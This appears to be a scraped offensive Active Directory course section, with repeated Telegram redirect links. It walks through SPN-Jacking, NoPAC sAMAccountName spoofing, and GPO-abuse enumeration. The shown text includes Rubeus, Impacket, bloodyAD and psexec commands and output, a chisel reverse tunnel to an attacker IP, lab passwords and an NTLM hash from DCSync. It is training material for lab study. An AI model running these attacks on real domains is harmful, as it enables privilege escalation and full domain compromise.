DBSRV and configuring it into the target machine. For example, if we want to compromise
FILESRV and we have WriteSPN or similar rights, we can add the SPN SQL/DBSRV to
FILESRV . After that, if we request a TGS for SQL/DBSRV , it will be encrypted for FILESRV ,
allowing us to impersonate any user into the target machine.
In this session, we will explore the different methods of abuse of SPN Jacking and the
requirements for this attack to work.
Scenario
In this scenario, we have compromised the account Gabriel and its credentials are
Godisgood001 . Gabriel is a member of the local Administrators's group on SRV01 and also
has WriteSPN to WEB01 . With this account, we aim to compromise WEB01 by leveraging
Gabriel's rights.
https://t.me/offenciveSec
Ghost SPN-Jacking Detailed Explanation
Ghost SPN-Jacking targets scenarios where an SPN, previously associated with a computer
or service account, is either no longer in use due to the deletion or renaming of the account,
or it belongs to a custom service class that has been removed. Such SPNs are often left
unattended in systems configured for Kerberos Constrained Delegation, creating a
vulnerability ripe for exploitation.
https://t.me/offenciveSec
Let's confirm the rights the account Gabriel has over SRV01 and let's use PowerView to
identify WriteSPN permissions over WEB01 . We will connect to the target machine using
xfreerdp:
Note: Based on our tests, sometimes BloodHound did not collect WriteSPN information, it is
important to confirm using PowerView.
https://t.me/offenciveSec
PS C:\Tools> Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ?
{$_.SecurityIdentifier -eq $(ConvertTo-SID gabriel)}
AceQualifier : AccessAllowed
ObjectDN : CN=WEB01,OU=Servers,DC=inlanefreight,DC=local
ActiveDirectoryRights : WriteProperty
ObjectAceType : Validated-SPN
ObjectSID : S-1-5-21-831407601-1803900599-2479021482-1117
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-831407601-1803900599-2479021482-1106
Next we need to make sure that the computer we own has Contrained Delegation
enabled:
name msds-allowedtodelegateto
---- ------------------------
SRV01 {www/WS01, www/WS01.inlanefreight.local, dmserver/DBSRV003,
dmserver/DBSRV003.inlanefreigth.local...}
Now to perform the Ghost SPN-Jacking attack we must look for orphaned SPNs on SRV01 ,
with the aim of assigning them to our target machine WEB01 .
We can use PowerView to search for servers configured for Constrained Delegation and to
map which servers are configured. We will also use Get-ConstrainedDelegation.ps1, a
wrapper around PowerView, that display the value of msDS-AllowedToDelegateTo . This
attribute contains a list of Service Principal Names (SPNs) and is used to configure a service
so that it can obtain service tickets that can be used for Constrained Delegation:
The script will help us search for orphaned SPNs. We will use the flag -CheckOrphaned to
display only the target with an orphaned SPN. The way the script looks for orphaned SPN is
by querying for the existence of the computer or service account name:
Before we assign the orphaned SPNs to our target machine WEB01 , it's a good practice to
take notes of the SPNs, as the next step involve altering the SPNs.
Now we can assign the orphaned SPN dhcp/DATABASE01 to the target machine WEB01
using PowerView :
https://t.me/offenciveSec
This action misaligns the SPN's intended association, tricking the Kerberos authentication
system into recognizing WEB01 as the legitimate endpoint for the services initially tied to the
SPN. With the misplaced SPN now pointing to WEB01, we proceed to use the S4U attack
using Rubeus , using the SRV01$ account to obtain a service ticket for a privileged user to
WEB01 . We need to set the option /impersonateuser:<user to impersonate> and
specify the ghosted SPN with /msdsspn:<ghost/spn> :
v2.3.2
doIFqDCCBaSgAwIBBaEDAgEWooIEqjCCBKZhggSiMIIEnqAD<SNIP>
doIGDDCCBgigAwIBBaEDAgEWooIFDDCCBQhhggUEMII<SNIP>
https://t.me/offenciveSec
doIGtDCCBrCgAwIBBaEDAgEWooIFuDCCBbRhggWw<SNIP>
Note: We can use tools such as mimikatz or abuse Shadow Credentials to get SRV01's NT
hash.
The ticket obtained through executing Rubeus s4u wouldn't provide us access to WEB01
due to a discrepancy in the hostname. Additionally the service class dhcp/DATABASE01
doesn't provide an attack path, we need to change it to another service such as CIFS . The
key aspect, however, is that this ticket is encrypted for WEB01 , with the service name not
encrypted within the ticket. This allows us to alter the service name to one valid and the
hostname to match the target WEB01 . To do that we will use the Rubeus option tgssub
which take a service ticket base64 blob/file specification and substitute an alternate service
name into the ticket. This is useful for S4U abuse and other scenarios.
Now we can use this ticket to impersonate the Administrator account on WEB01 and target
the CIFS service:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
We gain access to a ticket as the Administrator on WEB01. The attack chain we perform can
be illustrated as follows:
https://t.me/offenciveSec
Finally we can use our need ticket to gain access to WEB01:
PS C:\Tools> ls \\web01\c$
Directory: \\web01\c$
https://t.me/offenciveSec
Unlike the Ghost SPN-Jacking scenario, which involves passive manipulation of SPNs,
Live SPN-Jacking requires active manipulation of SPNs currently in use within the network
environment. This technique is more complex than the former as it involves manipulating live
SPNs, which requires a more subtle understanding of Active Directory's delegation and
permission intricacies.
In this context, we explore the scenario with SRV01 , a server configured for Constrained
Delegation with an SPN currently linked to EXCH03 and DBSRV003 . Importantly, we have
WriteSPN rights on DBSRV003 and WEB01 .
https://t.me/offenciveSec
constraint violation occurred."
It's a good idea to get the list of SPNs before removing them:
serviceprincipalname
--------------------
dmserver/DBSRV003.inlanefreight.local
dmserver/DBSRV003
WSMAN/DBSRV003
WSMAN/DBSRV003.inlanefreight.local
...SNIP...
To clear the SPNs we can also use PowerView with the command Set-DomainObject and
the option -Clear specifying the attribute we want to clear:
Now that the SPN is not being used, we can assign it to WEB01 and perform the attack:
https://t.me/offenciveSec
'dmserver/DBSRV003' for object 'WEB01$'
This manipulation effectively reroutes the authentication pathway, allowing for a successful
S4U attack to obtain a service ticket for WEB01 , impersonating a privileged user.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
doIFqDCCBaSgAwIBBaEDAgEWooI<SNIP>
doIGDDCCBgigAwIBBaEDAgEWooIFDDCCBQhhg<SNIP>
https://t.me/offenciveSec
doIGtDCCBrCgAwIBBaEDAgEWooIFuDCCBbRhggWw<SNIP>
Similar to the Ghost SPN-Jacking scenario, the service name on the ticket wouldn't directly
allow access to WEB01 , but we can alter the service name and host name to use the ticket
against our target computer. We will use HTTP/WEB01 instead of CIFS to connect to
PowerShell Remoting instead of using PSExec :
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
ServiceName : HTTP/WEB01
ServiceRealm : INLANEFREIGHT.LOCAL
UserName : administrator (NT_ENTERPRISE)
UserRealm : INLANEFREIGHT.LOCAL
StartTime : 3/27/2024 6:00:42 PM
EndTime : 3/28/2024 4:00:42 AM
RenewTill : 4/3/2024 6:00:42 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes128_cts_hmac_sha1
Base64(key) : EWbZ9fL3M1AIniBJZj/KRw==
Base64EncodedTicket :
doIGpjCCBqKgAwIBBaEDAgEWooIFsTCCBa1hggWp<SNIP>
Now we can use this ticket to impersonate the Administrator account on WEB01 and target
the HTTP service that PowerShell Remoting use:
______ _
(_____ \ | |
https://t.me/offenciveSec
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
We gain access to a ticket as the Administrator on WEB01. The attack chain we just perform
can be illustrated as follows:
https://t.me/offenciveSec
It's a good practice to restore the SPNs we cleared. That won't affect the ticket we have. We
can proceed to restore the SPNs with PowerView:
Finally we can use our new ticket to gain access to WEB01 using PowerShell Remoting:
https://t.me/offenciveSec
PS C:\Tools> Enter-PSSession -ComputerName WEB01
[WEB01]: PS C:\Users\Administrator.INLANEFREIGHT\Documents>
whoami;hostname
inlanefreight\administrator
WEB01
Then, in SRV01 , we will connect to the server with the following command chisel.exe
client <VPN IP> R:socks :
Once the reverse proxy is established, the next step involves leveraging findDelegation.py
from Impacket, using proxychains to proxy our traffic into the internal network. This step is
vital for identifying accounts with constrained delegation rights:
https://t.me/offenciveSec
Impacket v0.11.0 - Copyright 2023 Fortra
Next, we need to clone Krbrelayx because we need to use addspn.py, to manipulate SPNs.
First, we will use it to clear DBSRV003's SPN. We need to use the option --clear and
select the target with the option -t target :
It's a good practice to take note of the SPNs we cleared as we need to restore then later. We
will save them in a file named DBSRV003spns.txt.
cat DBSRV003spns.txt
dmserver/DBSRV003.inlanefreight.local
https://t.me/offenciveSec
dmserver/DBSRV003
WSMAN/DBSRV003
...SNIP...
Next, we need to add the SPN into our target machine, WEB01 . Let's use the option --spn
'dmserver/DBSRV003' to add the new SPN to our target machine with the option -t
'WEB01$' :
With the SPN pointing to our target, we can impersonate a high-privileged user. Using
getST.py, we request a service ticket, impersonating the Administrator . We need to make
sure to set the options -spn 'dmserver/DBSRV003' to specify the SPN we will use to
request the ticket, -impersonate Administrator to specify the account we want to
impersonate, and set the account we will use to perform the ticket request. In this case,
SRV01 is the machine account with the rights to request the ticket so that we can specify the
hash instead of a password.
Remember that this ticket is intended for DBSRV003 , so we need to modify this ticket. First
let's use describeTicket.py from Impacket to get more details about the ticket:
https://t.me/offenciveSec
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : e9c414b4aa5dd770d74e57be1b240e74
[*] User Name : Administrator
[*] User Realm : inlanefreight.local
[*] Service Name : dmserver/DBSRV003
[*] Service Realm : INLANEFREIGHT.LOCAL
[*] Start Time : 28/03/2024 17:08:30 PM
[*] End Time : 29/03/2024 03:08:29 AM
[*] RenewTill : 29/03/2024 17:08:30 PM
[*] Flags : (0x40a10000) forwardable, renewable, pre_authent,
enc_pa_rep
[*] KeyType : rc4_hmac
[*] Base64(key) : 6cQUtKpd13DXTle+GyQOdA==
[*] Kerberoast hash :
$krb5tgs$18$USER$INLANEFREIGHT.LOCAL$*dmserver/DBSRV003*$7a69c3044bfe2a527
8758a77$bc69c07921e9f8fc<SNIP>
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : dmserver/DBSRV003
[*] Service Realm : INLANEFREIGHT.LOCAL
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with
aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
As we can see, [*] Service Name is intended for DBSRV003 . To modify the ticket, we need
to use tgssub.py . At the time of writing, a pull request for adding the tgssub.py is still
pending. We will clone ShutdownRepo repository to continue the attack:
To use tgssub.py we need to set the option -in <ticket_name> to specify the ticket we
want to modify, the option -altservice "cifs/WEB01" to replace the SPN of our current
ticket, and the option -out <new_ticket_name> to save the ticket into a new file:
Note: While working with Kerberos remember to include the FQDN in the /etc/hosts file if
not DNS resolution is available. Keep in mind that sometimes using only the computer name
in the service ticket or in the request may not work, if that's the case we can attempt to use
the FQDN in both the service ticket and the target computer name.
https://t.me/offenciveSec
proxychains4 -q getST.py -spn 'dmserver/DBSRV003' -impersonate
Administrator 'inlanefreight.local/SRV01$' -hashes
:ef3d150ee77eb9000001236c52bd2793 -dc-ip 172.16.92.10 -altservice
"cifs/WEB01.inlanefreight.local"
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
Conclusion
After studying SPN Jacking and its impact on Kerberos authentication, we will move on to
sAMAccountName Spoofing. We will explore how to manipulate the sAMAccountName
attribute to impersonate users, manipulate service tickets, and gain unauthorized access.
sAMAccountName Spoofing
The NoPAC attack, commonly associated with the vulnerabilities CVE-2021-42278 and CVE-
2021-42287, refers to a method where a Domain User can perform privilege escalation and
impersonate any privilege account through what is known as sAMAccountName Spoofing .
https://t.me/offenciveSec
The attack starts with CVE-2021-42278, which exploits the lack of restrictions on
modifications to the sAMAccountName attribute in Active Directory. By default, Windows
Active Directory does not enforce strict validation of this attribute, particularly ensuring that
computer account names end with a $ sign to distinguish them from user accounts. When
we have sufficient permissions on a machine account, we can change the sAMAccountName
of that account to the name of a domain controller without the $ . This modification sets up
the scenario for impersonating a domain controller.
After changing the sAMAccountName to a domain controller's name (without the trailing $ ),
we can exploit CVE-2021-42287. This vulnerability lies within the Key Distribution Center.
The KDC is tricked during the Service Ticket request phase. When a Service Ticket is
requested for a non-existent account, the KDC will append a $ and search again.
The exploitation process makes use of this behavior. We request a Ticket Granting
Ticket (TGT) using the modified sAMAccountName , and then request a Service Ticket ,
the KDC fails to find the account and appends a $ sign, unintentionally matching the
legitimate domain controller's account, and finally we get a Service Ticket with the
domain controller's privileges.
When a user requests a TGT from the KDC , the KDC includes a PAC in the TGT. This PAC
is later used by services to determine the user's permissions when accessing resources.
The presence of a PAC in Kerberos tickets is essential for the correct functioning of access
control in Windows domains. If a Domain Controller returns a TGT without a PAC (as in the
case of NoPAC vulnerability), it can lead to security issues where access controls are
bypassed or improperly enforced.
https://t.me/offenciveSec
To enumerate if the server is likely to be vulnerable to NoPAC, we can use noPac. To confirm
the vulnerability, the tools will request a TGT without PAC. If a Domain Controller is
vulnerable to NoPAC, it will return a TGT without a PAC, and the ticket size without PAC
would usually be lower than 1000.
Note: The noPac tool, located in C:\Tools , has already been compiled into an executable.
The author did not provide a release version. If we want to compile noPac ourselves, we can
use Visual Studio, though this process is not covered in this course.
Let's connect to the target machine to complete the exercises, we will use the acount
aneudy with the password Ilovemusic01 . Additionally, we will be connecting to RDP using
the alternate port 13389 :
On the other hand, NoPac Linux will give you more information, which we will see later in
this section.
The other piece of information we need to know is the MachineAccountQuota (MAQ). This is
a Domain attribute that allows, by default, any user to join up to 10 computers to the domain.
If a user joins 10 machines, it won't be able to join another one, but if one of those 10
machines is deleted, the user will be able to join another one. This setting means a user
cannot have more than 10 machines where the user is the creator. We can query the value
of the attribute ms-DS-MachineAccountQuota using PowerView:
https://t.me/offenciveSec
If we want to query the specific number of machines an account has already joined to the
domain, we can also use PowerView . To accomplish this, we must query every machine and
find its ms-DS-CreatorSID attribute (which records the security ID of the creator of the
object.) Let's first start querying who created the machine COMPUTERTEST1 :
Now, if we want to understand how many machines aneudy created, we will need to query
the ms-DS-CreatorSID attribute for all machines and get the ones that match aneudy's SID:
This is important to understand as we may get access to an account that has already
reached that quota, and to perform the attack, we may need to use one of the already
created machines.
Note: Instead of creating a new computer account, we can also use an existing one.
https://t.me/offenciveSec
Let's complete those steps using PowerShell, leveraging both the PowerMad and
PowerView tools:
Now, we have our computer account ready to impersonate the Domain Controller. We need
to change the machine account from TEST01 to DC03
We now request the TGT as DC03 but using TEST01 credentials. Since TEST01 's
sAMAccountName is DC03 , it will get a TGT as the computer account but with the DC03
information in it.
https://t.me/offenciveSec
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.0
doIFJDCCBSCgAwIBBaEDAgEWooIEKDCCBCRhggQgMIIEHKA
...SNIP...
Revert the TEST01's sAMAccountName to its original value as the next step involves
requesting a Service Ticket to impersonate the Administrator in the target machine:
The last step is using the ticket we created using TEST01 credentials and the DC computer
name. We will request a Service Ticket to ourselves impersonating the Administrator and
adding any service we want to use. In this case, we are adding the option
/altservice:ldap/dc03.inlanefreight.local because we are planning to perform a
DCSync and we need the service LDAP to do it:
https://t.me/offenciveSec
v2.3.0
doIF3jCCBdqgAwIBBaEDAgEWooIExDCCBMBhggS...SNIP...
With the ticket imported in our current session, we can perform a DCSync attack:
Credentials:
Hash NTLM: 0304d22b62a0363670c603e35698765b
Note: If the server is vulnerable to NoPAC, that doesn't mean that the sAMAccountName
spoofing will work because it also needs to be able to rename the sAMAccountName to the
DC to work, and that's only possible if the patch for CVE-2021-42278 is not applied.
Additionally, the scanner also includes information about the machine quota, which allows us
to understand if the domain allows users to join computers to the domain.
We will need to install some tools to complete the attack. We will start with bloodyAD, which
requires libkrb5-dev to work:
Now to install bloodyAD we will clone the repo and install the requirements:
In this scenario, instead of relying on rights to create a computer account, we will use the
rights we have to control another account. We need to control an account with enough
permissions (e.g. GenericAll/FullControl or GenericWrite) to edit another account's
sAMAccountName attribute.
To complete this attack, we will use aneudy privileges and abuse the rights we have over
felipe , and follow the same attack path we did with the computer account. The account we
are targeting ( felipe ) needs to have an empty servicePrincipalName or we need to
clear it.
Note: It is a good practice to note down any SPN the account we are targeting have if we
want to restore the account to its original value after the attack to avoid service interruptions.
The next step is to modify Felipe's sAMAccountName to match the Domain Controller
(DC03) without $ :
We can request a TGT for the account DC03 using Felipe's credentials.
https://t.me/offenciveSec
[*] Saving ticket in dc03.ccache
The next step is to revert Felipe's sAMAccountName to its original value. To do that, we
need to set object DC03 instead of felipe because bloodyAD uses the
sAMAccountName by default as the value to search for the object.
Alternatively we can use the distinguished name to specify we are targeting felipe :
The final step is to request a S4U2self service ticket using the TGT dc03.ccache we have:
Since we request the alternative service CIFS we can use it with psexec.py to get a shell
on the target system:
https://t.me/offenciveSec
[*] Uploading file pzUPwkmj.exe
[*] Opening SVCManager on dc03.inlanefreight.local.....
[*] Creating service hMaB on dc03.inlanefreight.local.....
[*] Starting service hMaB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Conclusion
The NoPAC attack leveraging CVE-2021-42278 and CVE-2021-42287 underscores a critical
vulnerability in Active Directory environments where improper validation of sAMAccountName
modifications can lead to unauthorized privilege escalation. This technique demonstrates the
implications of seemingly minor oversights in security configurations. Effective
countermeasures require diligent patch management, stringent control over account
privileges, and regular audits to ensure that such vulnerabilities are promptly addressed and
mitigated. Organizations can better safeguard their critical infrastructure from similar threats
by facilitating a comprehensive understanding of these attack vectors.
Introduction to GPOs
For instance, through GPMC, administrators can modify desktop backgrounds, set specific
security settings, and apply configurations typically done manually on each Windows
machine. Group Policy Objects (GPOs) facilitate this centralized management.
https://t.me/offenciveSec
GPOs consist of two main components that facilitate their implementation:
Group Policy Container (GPC) : This LDAP object represents the GPO itself,
including its configuration and permissions settings. The GPC's distinguished name
contains a GUID , which is unique to the GPO and helps identify it within the directory,
for example, CN={GUID},CN=Policies,CN=System,DC=inlanefreight,DC=local .
Group Policy Template (GPT) : Unlike the GPC that holds configuration metadata,
the GPT contains the actual settings and configurations as files within the SYSVOL
directory on a domain controller. These files dictate the policies to be applied and are
fetched by the client machines. The path typically looks like
\\dc02.inlanefreight.local\SysVol\inlanefreight.local\Policies\{GUID} .
GPOs are applied to users and computers in an Active Directory environment, mostly
through Organizational Units (OUs). Administrators structure the organization into different
OUs to tailor specific policies for defined groups of users or machines. For example,
consider an administrator in a retail company: they might set up one OU for point-of-sale
(POS) systems and others for departments such as HR, IT, C-level, etc. This structure allows
the application of targeted policies that meet the specific needs of each group.
Note: Group Policy settings are automatically updated upon either the reboot of a domain
member computer or when a user signs into a domain member computer. Additionally,
Group Policies are refreshed at regular intervals. Typically, this occurs every 90 minutes with
a random offset that can be up to 30 minutes.
https://t.me/offenciveSec
In this section, we will discuss how GPOs work, and in the next section, we will discuss how
to abuse them.
GPO Delegation
To delegate permissions to link GPOs to a site, domain, or OU, you must have Modify
Permissions on that site, domain, or OU. By default, only Domain Administrators and
Enterprise Administrators have this permission. Administrators often delegate those
rights to other departments, such as technical support, so they can apply the required
policies to the computers they manage. Administrators can do that by specifying which GPO
a specified group can modify.
If we are the Administrator and we want to delegate rights for a GPO, we need to open
Group Policy Management using the command gpmc.msc ; within the GPMC, we can
navigate to the selected GPO Default Security Policy - WKS go into the Delegation
tab and Add the group or account we want to assigns the rights to Edit settings or Edit
settings, delete and modify security .
From a high-level perspective, here's what any of those rights can do:
Edit settings allows the user or group to modify the GPO properties or settings.
Edit settings, delete and modify security allows the modification of the GPO
settings, the elimination of the GPO, and the delegation of other users to manage the
GPO.
GPO Links
https://t.me/offenciveSec
A GPO is essentially a set of rules we've put together to manage computer and user
accounts effectively. However, creating a GPO doesn't automatically apply it. It exists in
isolation until we link it to parts of our Active Directory (AD) structure, such as sites, domains,
or Organizational Units (OUs). This linking activates the GPO's rules for the users and
computers in those containers.
We begin by deciding where these policies should apply. If we have settings that should
affect the entire network, we link the GPO to the domain level . For more specific settings,
like those affecting only the marketing department or a regional office, we'd link the GPO to
the respective OU or site . This flexibility allows us to apply the same policies across
different areas of our organization without recreating the GPO multiple times.
We can link GPOs to Sites, Domains, or OUs. When we link a GPO, it follows a specific
sequence, ensuring that policies applied closer to the user or computer have the highest
priority. Here's the order on which GPOs are applied:
Local.
Site.
Domain.
Organization Units (OUs).
Additionally, if we have multiple GPOs applied to the sites, Domains, or OUs, those GPOs
have a Link Order , meaning that at each level, we can specify the order of hierarchy in
which each policy will be applied.
https://t.me/offenciveSec
Another consideration is that sometimes, we need certain policies to apply universally and
without exception. In these cases, we can enforce a GPO. Even if a subordinate OU is
configured to block inheritance (which normally stops higher-level policy settings from
applying to it), an enforced GPO will still apply.
In this scenario, we also have the OU Workstations where this computer is a member, and
there's a GPO linked to this OU that disables the Windows Firewall. Here's what happens
during policy application:
Local GPO Application : The computer first applies the Local GPO as it starts up.
According to our setup, this GPO enables the Windows Firewall.
Site GPO Application : Next, if there are any GPOs linked to the site that encompass
this computer, those GPOs are applied. Site-linked GPOs can modify settings applied
by the Local GPO.
Domain GPO Application : After site-linked GPOs, any GPOs linked to the domain and
encompassing this computer are applied. These also can override settings from both
the Local and Site-linked GPOs.
OU GPO Application : The GPOs linked to the OU are applied. In our scenario, this
GPO disables the Windows Firewall. Since OU-linked GPOs are processed last (among
https://t.me/offenciveSec
the GPOs from Local, Site, and Domain), they have the highest precedence in this
context unless a higher-level GPO is enforced.
Note: Enforcing a GPO at any level ensures its settings take precedence over any
conflicting settings in GPO processed earlier in the hierarchy.
Note: If we set an OU to block inheritance, it wouldn't receive any GPOs from the domain or
site level unless those GPOs were enforced. However, Local GPOs would still be applied as
they are processed before AD-based GPOs and are considered separate from the AD
hierarchy.
This structured approach allows administrators significant control over policy application but
also presents an opportunity for us as hackers to compromise the network. If we
compromise an account with rights to modify GPOs, create GPOs, or link existing GPOs to
Sites, Domains, or OUs, we can use those privileges to compromise any computer where
the GPO is applied.
Conclusion
In the following session, we will explore how to enumerate those rights and abuse GPO's
rights.
GPO Attacks
Now that we understand how GPOs work, let’s discuss the types of rights that can be
abused to escalate privileges or move laterally using GPOs.
The first type of right that can be exploited is the ability to modify a GPO . As mentioned, an
administrator can delegate rights to users or computers to manage a GPO. If we
compromise an account that has delegated rights to a GPO, we can abuse these rights to
alter the GPO. Modifications could include executing commands or performing actions on all
computers where the GPO is applied.
Another right we are looking to access again is the ability to link a GPO . If we gain
access to an account with the rights to link a GPO, we can use it to link a GPO to a site,
domain, or OU. This right alone doesn't provide a privilege escalation path because we also
need the right to modify a GPO or create a new one to link it. It is crucial to remember that
we can take advantage of this privilege if we gain access to one account that can create or
modify existing GPOs.
Finally, if we compromise an account with the rights to create a GPO and combine it with
the ability to link it to a Site, Domain, or OU, we will be able to compromise any computer
that belongs to the place where we link the GPO we created.
https://t.me/offenciveSec
This section will explore how to enumerate and abuse GPO rights from Linux and Windows.
GPO Enumeration
When working with GPOs, we need to be aware of their names, the OUs (the common
location to link GPOs), where they are linked, and the DACL associated with them.
As an attacker, when we are targetting GPOs, we want to enumerate four (4) specific things:
Which nonadmin users can modify GPOs? We do this to filter the GPO we want to
attack and the accounts we want to target.
Where are those GPOs linked? As we learned, a GPO is applied when linked; we need
to understand where the GPO is linked to identify which devices we can compromise
using those GPOs.
Which nonadmin users can link GPOs? We are interested in understanding where we
can apply GPOs we have control over by searching if we have rights to link to a Site,
Domain, or OU.
Which nonadmin users can create GPOs?
Let's see how we can enumerate those rights from Windows and Linux.
Note: We can use BloodHound for some of the enumeration we will perform, but not all of
them will be visible in BloodHound.
To get the GPOs in the domain we can use Get-DomainGPO . That command will retrieve all
GPOs created in the current domain. We will work with the first one as an example, but we
can do the same for every GPO in the Domain.
usncreated : 5672
systemflags : -1946157056
displayname : Default Domain Policy
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}
{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-
A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
whenchanged : 3/21/2024 11:02:06 AM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
https://t.me/offenciveSec
usnchanged : 12596
dscorepropagationdata : {4/18/2024 3:55:28 PM, 3/21/2024 10:56:27 AM,
1/1/1601 12:00:00 AM}
name : {31B2F340-016D-11D2-945F-00C04FB984F9}
flags : 0
cn : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject : True
gpcfilesyspath :
\\inlanefreight.local\sysvol\inlanefreight.local\Policies\{31B2F340-016D-
11D2-945F-00C04FB984F9}
distinguishedname : CN={31B2F340-016D-11D2-945F-
00C04FB984F9},CN=Policies,CN=System,DC=inlanefreight,DC=local
whencreated : 3/21/2024 10:52:47 AM
versionnumber : 3
instancetype : 4
objectguid : 4e7d947e-eab2-4669-a110-6e5c0ad8b7f7
objectcategory : CN=Group-Policy-
Container,CN=Schema,CN=Configuration,DC=inlanefreight,DC=local
Let's break down some properties of a GPO that we will be looking into when attacking
GPOs:
Property Description
displayname The name displayed for the GPO in tools like the Group Policy
Management Console (GPMC). This is the name that administrators use
to identify the GPO in the domain.
name The unique identifier (ID) for the GPO, which is typically a GUID. This ID
is used internally by Active Directory and GPMC to identify the GPO
uniquely.
gpcfilesyspath The file system path to the folder that contains the GPO's data within the
SYSVOL share on the domain controllers. This path is critical for the
replication of GPO data across the domain.
objectguid A globally unique identifier assigned to the GPO used across the Active
Directory to uniquely reference the GPO. This GUID is crucial for
applications and services that interact programmatically with GPOs.
If we want to list all GPOs names, we can use the following PowerShell command:
displayname
-----------
Default Domain Policy
Default Domain Controllers Policy
https://t.me/offenciveSec
Default Security Policy - WKS
Testing GPO
TechSupport Management
Now, we need to understand where those GPOs are linked. The Active Directory attribute
that gave us that information is gplink. We need to query the Site, the Domain, and each OU
to retrieve that property. Let's start with the Domain level:
gplink
------
[LDAP://cn={31B2F340-016D-11D2-945F-
00C04FB984F9},cn=policies,cn=system,DC=inlanefreight,DC=local;0]
The output gave us an LDAP path that has the GUID of Default Domain Policy , which
indicates that this GPO is linked to the domain level. The GPO's location within Active
Directory objects is the cn=policies,cn=system,DC=inlanefreight,DC=local . The
number following the semicolon represents the link options. The options determine how the
GPO is applied based on the state of this link. Here are possible values and their meanings:
The last piece we need to understand is which users have the right to modify this GPO. We
can pipe the command Get-DomainObjectAcl to get the information about the
ActiveDirectoryRights that affect the GPO. We will only look for rights such as
CreateChild , WriteProperty , WriteDacl , WriteOwner , etc. We will only search for
users ( SecurityIdentifier ) greater than 1000, meaning that any default group, such as
Administrators, Domain Admins, etc, will be excluded. That's because we only want to focus
on non-admin users, which are accounts we can target.
AceType : AccessAllowed
ObjectDN : CN={31B2F340-016D-11D2-945F-
00C04FB984F9},CN=Policies,CN=System,DC=inlanefreight,DC=local
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty,
https://t.me/offenciveSec
WriteProperty, GenericExecute
OpaqueLength : 0
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-831407601-1803900599-2479021482-1604
AccessMask : 131127
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
MemberName
----------
maria
